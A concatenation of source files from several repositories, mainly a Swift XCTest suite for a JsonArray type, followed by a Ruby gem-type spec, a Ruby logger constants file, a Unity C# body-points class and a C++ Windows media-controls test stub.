AFoundationUnitTesting/Json/JsonArrayUnitTesting.swift
ihormyroniuk/AFoundation
2e50d3f70e89887b0b54fc342f53b783853ef6f8
[ "MIT" ]
1
2020-07-02T11:00:05.000Z
2020-07-02T11:00:05.000Z
// // JsonArrayUnitTesting.swift // AFoundationUnitTesting // // Created by Ihor Myroniuk on 31.01.2021. // Copyright © 2021 Ihor Myroniuk. All rights reserved. // import XCTest @testable import AFoundation class JsonArrayUnitTesting: XCTestCase { // MARK: Strings func testInitStrings() { let strings = ["string1", "string2", "string3"] let jsonArray = JsonArray(strings) let expectedJsonArray = [JsonValue("string1"), JsonValue("string2"), JsonValue("string3")] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testStrings() { let jsonArray = [JsonValue("string1"), JsonValue("string2"), JsonValue("string3")] do { let strings = try jsonArray.strings() let expectedStrings = ["string1", "string2", "string3"] XCTAssert(strings == expectedStrings, "Unexpected \(String(reflecting: strings)) is returned, but \(String(reflecting: expectedStrings)) is expected") } catch { XCTFail("Unexpected error \(String(reflecting: error)) is thrown") } } func testStringsError() { let jsonArray = [JsonValue("string1"), JsonValue("string2"), JsonValue("string3"), JsonValue(true)] do { let strings = try jsonArray.strings() XCTFail("Unexpected \(String(reflecting: strings)) is returned, but error has to be thrown") } catch { return } } func testNullableStrings() { let jsonArray = [JsonValue("string1"), JsonValue("string2"), JsonValue.null] do { let strings = try jsonArray.nullableStrings() let expectedStrings = ["string1", "string2", nil] XCTAssert(strings == expectedStrings, "Unexpected \(String(reflecting: strings)) is returned, but \(String(reflecting: expectedStrings)) is expected") } catch { XCTFail("Unexpected error \(String(reflecting: error)) is thrown") } } func testNullableStringsError() { let jsonArray = [JsonValue("string1"), JsonValue("string2"), JsonValue.null, JsonValue(true)] do { let strings = try jsonArray.nullableStrings() XCTFail("Unexpected \(String(reflecting: strings)) is returned, but error has to be thrown") } catch { return } } func testInsertString() { var jsonArray = [JsonValue(Decimal(1)), JsonValue(true)] jsonArray.insertString("string", at: 1) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue("string"), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testInsertNullableString() { var jsonArray = [JsonValue(Decimal(1)), JsonValue(true)] jsonArray.insertNullableString("string", at: 1) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue("string"), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testInsertNullableStringNull() { var jsonArray = [JsonValue(Decimal(1)), JsonValue(true)] jsonArray.insertNullableString(nil, at: 1) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue.null, JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendString() { var jsonArray = [JsonValue(Decimal(1)), JsonValue(true)] jsonArray.appendString("string") let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue(true), JsonValue("string")] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNullableString() { var jsonArray = [JsonValue(Decimal(1)), JsonValue(true)] jsonArray.appendNullableString("string") let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue(true), JsonValue("string")] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNullableStringNull() { var jsonArray = [JsonValue(Decimal(1)), JsonValue(true)] jsonArray.appendNullableString(nil) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue(true), JsonValue.null] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } // MARK: Numbers func testInitNumbers() { let decimals = [Decimal(1), Decimal(2), Decimal(3)] let jsonArray = JsonArray(decimals) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue(Decimal(2)), JsonValue(Decimal(3))] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testNumbers() { let jsonArray = [JsonValue(Decimal(1)), JsonValue(Decimal(2)), JsonValue(Decimal(3))] do { let numbers = try jsonArray.numbers() let expectedNumbers = [Decimal(1), Decimal(2), Decimal(3)] XCTAssert(numbers == expectedNumbers, "Unexpected \(String(reflecting: numbers)) is returned, but \(String(reflecting: expectedNumbers)) is expected") } catch { XCTFail("Unexpected error \(String(reflecting: error)) is thrown") } } func testNumbersError() { let jsonArray = [JsonValue(Decimal(1)), JsonValue(Decimal(2)), JsonValue(Decimal(3)), JsonValue(false)] do { let numbers = try jsonArray.numbers() XCTFail("Unexpected \(String(reflecting: numbers)) is returned, but error has to be thrown") } catch { return } } func testNullableNumbers() { let jsonArray = [JsonValue(Decimal(1)), JsonValue(Decimal(2)), JsonValue.null] do { let numbers = try jsonArray.nullableNumbers() let expectedNumbers = [Decimal(1), Decimal(2), nil] XCTAssert(numbers == expectedNumbers, "Unexpected \(String(reflecting: numbers)) is returned, but \(String(reflecting: expectedNumbers)) is expected") } catch { XCTFail("Unexpected error \(String(reflecting: error)) is thrown") } } func testNullableNumbersError() { let jsonArray = [JsonValue(Decimal(1)), JsonValue(Decimal(2)), JsonValue.null, JsonValue(false)] do { let numbers = try jsonArray.nullableNumbers() XCTFail("Unexpected \(String(reflecting: numbers)) is returned, but error has to be thrown") } catch { return } } func testInsertNumber() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.insertNumber(Decimal(1), at: 1) let expectedJsonArray = [JsonValue("string"), JsonValue(Decimal(1)), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testInsertNullableNumber() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.insertNullableNumber(Decimal(1), at: 1) let expectedJsonArray = [JsonValue("string"), JsonValue(Decimal(1)), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testInsertNullableNumberNull() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.insertNullableNumber(nil, at: 1) let expectedJsonArray = [JsonValue("string"), JsonValue.null, JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNumber() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.appendNumber(Decimal(1)) let expectedJsonArray = [JsonValue("string"), JsonValue(true), JsonValue(Decimal(1))] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNullableNumber() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.appendNullableNumber(Decimal(1)) let expectedJsonArray = [JsonValue("string"), JsonValue(true), JsonValue(Decimal(1))] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNullableNumberNull() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.appendNullableNumber(nil) let expectedJsonArray = [JsonValue("string"), JsonValue(true), JsonValue.null] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } // MARK: Objects private let object1 = ["boolean": JsonValue(true), "string": JsonValue("string")] private let object2 = ["number": JsonValue(Decimal(1)), "null": JsonValue.null] private let object3 = ["string": JsonValue("string"), "number": JsonValue(Decimal(1))] func testInitObjects() { let objects = [object1, object2, object3] let jsonArray = JsonArray(objects) let expectedJsonArray = [JsonValue(object1), JsonValue(object2), JsonValue(object3)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testObjects() { let jsonArray = [JsonValue(object1), JsonValue(object2), JsonValue(object3)] do { let objects = try jsonArray.objects() let expectedObjects = [object1, object2, object3] XCTAssert(objects == expectedObjects, "Unexpected \(String(reflecting: objects)) is returned, but \(String(reflecting: expectedObjects)) is expected") } catch { XCTFail("Unexpected error \(String(reflecting: error)) is thrown") } } func testObjectsError() { let jsonArray = [JsonValue(object1), JsonValue(object2), JsonValue(true)] do { let objects = try jsonArray.objects() XCTFail("Unexpected \(String(reflecting: objects)) is returned, but error has to be thrown") } catch { return } } func testNullablObjects() { let jsonArray = [JsonValue(object1), JsonValue(object2), JsonValue.null] do { let objects = try jsonArray.nullableObjects() let expectedObjects = [object1, object2, nil] XCTAssert(objects == expectedObjects, "Unexpected \(String(reflecting: objects)) is returned, but \(String(reflecting: expectedObjects)) is expected") } catch { XCTFail("Unexpected error \(String(reflecting: error)) is thrown") } } func testNullableObjectsError() { let jsonArray = [JsonValue(object1), JsonValue(object2), JsonValue.null, JsonValue("string")] do { let objects = try jsonArray.nullableObjects() XCTFail("Unexpected \(String(reflecting: objects)) is returned, but error has to be thrown") } catch { return } } func testInsertObject() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.insertObject(object1, at: 1) let expectedJsonArray = [JsonValue("string"), JsonValue(object1), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testInsertNullableObject() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.insertNullableObject(object1, at: 1) let expectedJsonArray = [JsonValue("string"), JsonValue(object1), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testInsertNullableObjectNull() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.insertNullableObject(nil, at: 1) let expectedJsonArray = [JsonValue("string"), JsonValue.null, JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendObject() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.appendObject(object1) let expectedJsonArray = [JsonValue("string"), JsonValue(true), JsonValue(object1)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNullableObject() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.appendNullableObject(object1) let expectedJsonArray = [JsonValue("string"), JsonValue(true), JsonValue(object1)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNullableObjectNull() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.appendNullableObject(nil) let expectedJsonArray = [JsonValue("string"), JsonValue(true), JsonValue.null] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } // MARK: Arrays private let array1 = [JsonValue(true), JsonValue("string")] private let array2 = [JsonValue(Decimal(1)), JsonValue.null] private let array3 = [JsonValue("string"), JsonValue(Decimal(1))] func testInitArrays() { let arrays = [array1, array2, array3] let jsonArray = JsonArray(arrays) let expectedJsonArray = [JsonValue(array1), JsonValue(array2), JsonValue(array3)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testArrays() { let jsonArray = [JsonValue(array1), JsonValue(array2), JsonValue(array3)] do { let arrays = try jsonArray.arrays() let expectedArrays = [array1, array2, array3] XCTAssert(arrays == expectedArrays, "Unexpected \(String(reflecting: arrays)) is returned, but \(String(reflecting: expectedArrays)) is expected") } catch { XCTFail("Unexpected error \(String(reflecting: error)) is thrown") } } func testArraysError() { let jsonArray = [JsonValue(array1), JsonValue(array2), JsonValue(true)] do { let arrays = try jsonArray.arrays() XCTFail("Unexpected \(String(reflecting: arrays)) is returned, but error has to be thrown") } catch { return } } func testNullablArrays() { let jsonArray = [JsonValue(array1), JsonValue(array2), JsonValue.null] do { let arrays = try jsonArray.nullableArrays() let expectedArrays = [array1, array2, nil] XCTAssert(arrays == expectedArrays, "Unexpected \(String(reflecting: arrays)) is returned, but \(String(reflecting: expectedArrays)) is expected") } catch { XCTFail("Unexpected error \(String(reflecting: error)) is thrown") } } func testNullableArraysError() { let jsonArray = [JsonValue(array1), JsonValue(array2), JsonValue.null, JsonValue("string")] do { let objects = try jsonArray.nullableArrays() XCTFail("Unexpected \(String(reflecting: objects)) is returned, but error has to be thrown") } catch { return } } func testInsertArray() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.insertArray(array1, at: 1) let expectedJsonArray = [JsonValue("string"), JsonValue(array1), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testInsertNullableArray() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.insertNullableArray(array1, at: 1) let expectedJsonArray = [JsonValue("string"), JsonValue(array1), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testInsertNullableArrayNull() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.insertNullableArray(nil, at: 1) let expectedJsonArray = [JsonValue("string"), JsonValue.null, JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendArray() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.appendArray(array1) let expectedJsonArray = [JsonValue("string"), JsonValue(true), JsonValue(array1)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNullableArray() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.appendNullableArray(array1) let expectedJsonArray = [JsonValue("string"), JsonValue(true), JsonValue(array1)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNullableArrayNull() { var jsonArray = [JsonValue("string"), JsonValue(true)] jsonArray.appendNullableArray(nil) let expectedJsonArray = [JsonValue("string"), JsonValue(true), JsonValue.null] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } // MARK: Booleans func testInitBooleans() { let bools = [true, false, true] let jsonArray = JsonArray(bools) let expectedJsonArray = [JsonValue(true), JsonValue(false), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testBooleans() { let jsonArray = [JsonValue(true), JsonValue(false), JsonValue(true)] do { let bools = try jsonArray.booleans() let expectedBools = [true, false, true] XCTAssert(bools == expectedBools, "Unexpected \(String(reflecting: bools)) is returned, but \(String(reflecting: expectedBools)) is expected") } catch { XCTFail("Unexpected error \(String(reflecting: error)) is thrown") } } func testBooleansError() { let jsonArray = [JsonValue(true), JsonValue(false), JsonValue(true), JsonValue("string")] do { let strings = try jsonArray.booleans() XCTFail("Unexpected \(String(reflecting: strings)) is returned, but error has to be thrown") } catch { return } } func testNullableBooleans() { let jsonArray = [JsonValue(true), JsonValue(false), JsonValue.null] do { let bools = try jsonArray.nullableBooleans() let expectedBools = [true, false, nil] XCTAssert(bools == expectedBools, "Unexpected \(String(reflecting: bools)) is returned, but \(String(reflecting: expectedBools)) is expected") } catch { XCTFail("Unexpected error \(String(reflecting: error)) is thrown") } } func testNullableBooleansError() { let jsonArray = [JsonValue(true), JsonValue(false), JsonValue.null, JsonValue("string")] do { let bools = try jsonArray.nullableBooleans() XCTFail("Unexpected \(String(reflecting: bools)) is returned, but error has to be thrown") } catch { return } } func testInsertBoolean() { var jsonArray = [JsonValue(Decimal(1)), JsonValue("string")] jsonArray.insertBoolean(true, at: 1) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue(true), JsonValue("string")] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testInsertNullableBoolean() { var jsonArray = [JsonValue(Decimal(1)), JsonValue("string")] jsonArray.insertNullableBoolean(true, at: 1) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue(true), JsonValue("string")] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testInsertNullableBooleanNull() { var jsonArray = [JsonValue(Decimal(1)), JsonValue("string")] jsonArray.insertNullableBoolean(nil, at: 1) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue.null, JsonValue("string")] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendBoolean() { var jsonArray = [JsonValue(Decimal(1)), JsonValue("string")] jsonArray.appendBoolean(true) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue("string"), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNullableBoolean() { var jsonArray = [JsonValue(Decimal(1)), JsonValue("string")] jsonArray.appendNullableBoolean(true) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue("string"), JsonValue(true)] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } func testAppendNullableBooleanNull() { var jsonArray = [JsonValue(Decimal(1)), JsonValue("string")] jsonArray.appendNullableBoolean(nil) let expectedJsonArray = [JsonValue(Decimal(1)), JsonValue("string"), JsonValue.null] XCTAssert(jsonArray == expectedJsonArray, "Unexpected \(String(reflecting: jsonArray)) is returned, but \(String(reflecting: expectedJsonArray)) is expected") } }
43.174296
166
0.647229
8bfe8ed7d1ed91192295cccdb7e3ba352152f9ff
1,165
rb
Ruby
spec/lib/rom/files/extensions/gem/types_spec.rb
alsemyonov/rom-files
878e04bdc29345ed4a22628b7b8987661ad293be
[ "MIT" ]
null
null
null
spec/lib/rom/files/extensions/gem/types_spec.rb
alsemyonov/rom-files
878e04bdc29345ed4a22628b7b8987661ad293be
[ "MIT" ]
null
null
null
spec/lib/rom/files/extensions/gem/types_spec.rb
alsemyonov/rom-files
878e04bdc29345ed4a22628b7b8987661ad293be
[ "MIT" ]
null
null
null
# frozen_string_literal: true require 'rom/files/extensions/gem/types' RSpec.describe ROM::Files::Types::Gem::Name do its(['dry-types']) { is_expected.to eq 'dry-types' } end RSpec.describe ROM::Files::Types::Gem::Version do its(['0.0.0']) { is_expected.to eq Gem::Version.create('0.0.0') } end RSpec.describe ROM::Files::Types::Gem::Requirement do its(['0.0.0']) { is_expected.to eq Gem::Requirement.create('0.0.0') } its(['>= 0.0.0']) { is_expected.to eq Gem::Requirement.create('>= 0.0.0') } its(['~> 0.0.0']) { is_expected.to eq Gem::Requirement.create('~> 0.0.0') } end RSpec.describe ROM::Files::Types::Gem::Requirements do its([['0.0.0']]) { is_expected.to eq [Gem::Requirement.create('0.0.0')] } its(['0.0.0']) { is_expected.to eq [Gem::Requirement.create('0.0.0')] } end RSpec.describe ROM::Files::Types::Gem::Dependency do its(['dry-system']) { is_expected.to eq ['dry-system'] } its(['dry-system ~> 0.8']) { is_expected.to eq ['dry-system', Gem::Requirement.create('~> 0.8')] } its(['dry-system ~> 0.8, >= 0.8.5']) { is_expected.to eq ['dry-system', Gem::Requirement.create('~> 0.8'), Gem::Requirement.create('>= 0.8.5')] } end
40.172414
147
0.64206
90d46982734391a3593c1b8446fbee73cc8e541e
379
rb
Ruby
lib/site_hook/const.rb
gitter-badger/site_hook
74471653feaa3ba1c0023af0bd2b19c7038e4d90
[ "MIT" ]
null
null
null
lib/site_hook/const.rb
gitter-badger/site_hook
74471653feaa3ba1c0023af0bd2b19c7038e4d90
[ "MIT" ]
null
null
null
lib/site_hook/const.rb
gitter-badger/site_hook
74471653feaa3ba1c0023af0bd2b19c7038e4d90
[ "MIT" ]
null
null
null
require 'site_hook/log' require 'site_hook/logger' require 'site_hook/config' module SiteHook class Consts HOOKLOG = SiteHook::HookLogger::HookLog.new(SiteHook::Configs::LogLevels.hook).log BUILDLOG = SiteHook::HookLogger::BuildLog.new(SiteHook::Configs::LogLevels.build).log APPLOG = SiteHook::HookLogger::AppLog.new(SiteHook::Configs::LogLevels.app).log end end
37.9
89
0.770449
b78af9813dd1106eb6fe8875683c34e949e8c03f
2,138
cs
C#
Assets/kumaS/Tracker/PoseNet/Runtime/BodyPoints.cs
kumaS-nu/Tracking-in-Unity
53c4d624c9f8712a8a48b4776fc4cf6dce481a74
[ "Apache-2.0" ]
2
2022-01-28T01:33:03.000Z
2022-03-19T19:11:52.000Z
Assets/kumaS/Tracker/PoseNet/Runtime/BodyPoints.cs
kumaS-nu/Tracking-in-Unity
53c4d624c9f8712a8a48b4776fc4cf6dce481a74
[ "Apache-2.0" ]
null
null
null
Assets/kumaS/Tracker/PoseNet/Runtime/BodyPoints.cs
kumaS-nu/Tracking-in-Unity
53c4d624c9f8712a8a48b4776fc4cf6dce481a74
[ "Apache-2.0" ]
1
2021-10-03T02:14:19.000Z
2021-10-03T02:14:19.000Z
using System.Collections.Generic; using UnityEngine; namespace kumaS.Tracker.PoseNet { /// <summary> /// 体の部位のデータ。 /// </summary> public class BodyPoints { /// <summary> /// 位置。 /// </summary> public Vector3[] Position { get; } /// <summary> /// 回転。ボーンの向く先がz軸・上がy軸とする。 /// </summary> public Quaternion[] Rotation { get; } /// <param name="position">位置。</param> /// <param name="rotation">回転。</param> public BodyPoints(Vector3[] position, Quaternion[] rotation) { Position = position; Rotation = rotation; } /// <summary> /// 位置のデバッグデータを追加する。 /// </summary> /// <param name="message">追加する先。</param> /// <param name="index">デバッグするインデックス。</param> /// <param name="labelX">xのラベル。</param> /// <param name="labelY">yのラベル。</param> /// <param name="labelZ">zのラベル。</param> public void ToDebugPosition(Dictionary<string, string> message, int index, string labelX, string labelY, string labelZ) { ToDebugVector3(message, Position[index], labelX, labelY, labelZ); } /// <summary> /// 回転のデバッグデータを追加する。 /// </summary> /// <param name="message">追加する先。</param> /// <param name="index">デバッグするインデックス。</param> /// <param name="labelX">xのラベル。</param> /// <param name="labelY">yのラベル。</param> /// <param name="labelZ">zのラベル。</param> public void ToDebugRotation(Dictionary<string, string> message, int index, string labelX, string labelY, string labelZ) { ToDebugVector3(message, Rotation[index].eulerAngles, labelX, labelY, labelZ); } private void ToDebugVector3(Dictionary<string, string> message, Vector3 data, string labelX, string labelY, string labelZ) { message[labelX] = data.x.ToString(); message[labelY] = data.y.ToString(); message[labelZ] = data.z.ToString(); } } }
33.40625
131
0.54116
43923247f0f084b3f6b45bbf67f6172318b9b231
386
ts
TypeScript
src/store/mutations.ts
fsdavi/pokedex
1396a24d21678e3d4e32b73934a8c8f22b4a2fea
[ "MIT" ]
null
null
null
src/store/mutations.ts
fsdavi/pokedex
1396a24d21678e3d4e32b73934a8c8f22b4a2fea
[ "MIT" ]
null
null
null
src/store/mutations.ts
fsdavi/pokedex
1396a24d21678e3d4e32b73934a8c8f22b4a2fea
[ "MIT" ]
null
null
null
import { StoreState } from './types'; const mutations = { changeTrainer: (state: StoreState, trainer: string): void => { state.trainer = trainer; }, changeUserName: (state: StoreState, userName: string): void => { state.name = userName; }, changeStarter: (state: StoreState, starter: string): void => { state.starter = starter; }, }; export default mutations;
24.125
66
0.65544
5d727c8cdb37a874656950d4b70c16a0a1c72ced
3,519
cpp
C++
SystemMediaTransportControlsTest/test.cpp
apkipa/MyWorksCollection
ffc8c7712e9de3c078d9cc0dd679074e308f0824
[ "WTFPL" ]
null
null
null
SystemMediaTransportControlsTest/test.cpp
apkipa/MyWorksCollection
ffc8c7712e9de3c078d9cc0dd679074e308f0824
[ "WTFPL" ]
null
null
null
SystemMediaTransportControlsTest/test.cpp
apkipa/MyWorksCollection
ffc8c7712e9de3c078d9cc0dd679074e308f0824
[ "WTFPL" ]
null
null
null
#include "public.h" //#include <winrt/Base.h> #include <Windows.Foundation.h> #include <wrl\wrappers\corewrappers.h> #include <wrl\client.h> #include <wrl/event.h> #include <comdef.h> extern "C" { HRESULT impl_ButtonPressed( ABI::Windows::Media::ISystemMediaTransportControls *sender, ABI::Windows::Media::ISystemMediaTransportControlsButtonPressedEventArgs *args ) { return S_OK; } LRESULT test(void) { using namespace Microsoft::WRL::Wrappers; using namespace Microsoft::WRL; HRESULT nRet; void *p; using ABI::Windows::Media::ISystemMediaTransportControls; using ABI::Windows::Media::ISystemMediaTransportControlsButtonPressedEventArgs; using ABI::Windows::Media::SystemMediaTransportControls; using ABI::Windows::Media::SystemMediaTransportControlsButton; using ABI::Windows::Media::SystemMediaTransportControlsButtonPressedEventArgs; using ABI::Windows::Storage::Streams::IDataWriter; using ABI::Windows::Storage::Streams::IDataWriterFactory; using ABI::Windows::Storage::Streams::IOutputStream; using ABI::Windows::Storage::Streams::IRandomAccessStream; using ABI::Windows::Storage::Streams::IRandomAccessStreamReference; using ABI::Windows::Storage::Streams::IRandomAccessStreamReferenceStatics; HStringReference hstrClass(RuntimeClass_Windows_Media_SystemMediaTransportControls); //_com_error a(0); //nRet = RoInitialize(RO_INIT_MULTITHREADED); //if (FAILED(nRet)) // return nRet; Microsoft::WRL::ComPtr<ISystemMediaTransportControlsInterop> pCom; //nRet = RoGetActivationFactory(hstrClass.Get(), IID_ISystemMediaTransportControlsInterop, (void**)pCom.GetAddressOf()); nRet = RoGetActivationFactory(hstrClass.Get(), IID_ISystemMediaTransportControlsInterop, (void**)pCom.GetAddressOf()); //SystemMediaTransportControls ComPtr<ABI::Windows::Media::ISystemMediaTransportControls> temp1; //ABI::Windows::Foundation::IEventHandler<ABI::Windows::Media::ISystemMediaTransportControlsButtonPressedEventArgs*> temp3; //__FITypedEventHandler_2_Windows__CMedia__CSystemMediaTransportControls_Windows__CMedia__CSystemMediaTransportControlsButtonPressedEventArgs temp2; //ABI::Windows::Media::ISystemMediaTransportControlsStatics temp4; //ABI::Windows::Media:ISystemMediaTransportControlsStatics temp4; //temp1->add_ButtonPressed() //See https://github.com/chromium/chromium/blob/master/ui/base/win/system_media_controls/system_media_controls_service_impl.cc auto handler = Microsoft::WRL::Callback<ABI::Windows::Foundation::ITypedEventHandler< SystemMediaTransportControls*, SystemMediaTransportControlsButtonPressedEventArgs*>>( impl_ButtonPressed); //handler. //handler->Invoke(); //ABI::Windows::Media::SystemMediaTransportControls //nRet = Windows::Foundation::GetActivationFactory(hstrClass.Get(), ) //RoInitializeWrapper roinitwrapper(RO_INIT_SINGLETHREADED); /* //ABI::Windows::Media::SystemMediaTransportControls clsTemp; Microsoft::WRL::ComPtr<IInspectable> inspectable; auto nRet = Windows::Foundation::ActivateInstance( //HStringReference(RuntimeClass_Windows_Media_SystemMediaTransportControls).Get(), HStringReference(RuntimeClass_Windows_Media_SystemMediaTransportControls).Get(), inspectable.GetAddressOf() ); */ //auto nRet = RoActivateInstance(HStringReference(RuntimeClass_Windows_Media_SystemMediaTransportControls).Get(), (IInspectable**)&p); //hStrRef = WindowsCreateStringReference(RuntimeClass_Windows_Media_MediaControl); //RoActivateInstance(hStrRef, NULL); //WindowsDeleteString(hStrRef); return nRet; } }
35.908163
149
0.808752
2cc60182ba826e0e086a226f7a11d1db54eefcee
5,594
py
Python
tools/chrome_remote_control/chrome_remote_control/multi_page_benchmark.py
jianglong0156/chromium.src
d496dfeebb0f282468827654c2b3769b3378c087
[ "BSD-3-Clause" ]
5
2018-03-10T13:08:42.000Z
2021-07-26T15:02:11.000Z
tools/chrome_remote_control/chrome_remote_control/multi_page_benchmark.py
sanyaade-mobiledev/chromium.src
d496dfeebb0f282468827654c2b3769b3378c087
[ "BSD-3-Clause" ]
1
2015-07-21T08:02:01.000Z
2015-07-21T08:02:01.000Z
tools/chrome_remote_control/chrome_remote_control/multi_page_benchmark.py
jianglong0156/chromium.src
d496dfeebb0f282468827654c2b3769b3378c087
[ "BSD-3-Clause" ]
6
2016-11-14T10:13:35.000Z
2021-01-23T15:29:53.000Z
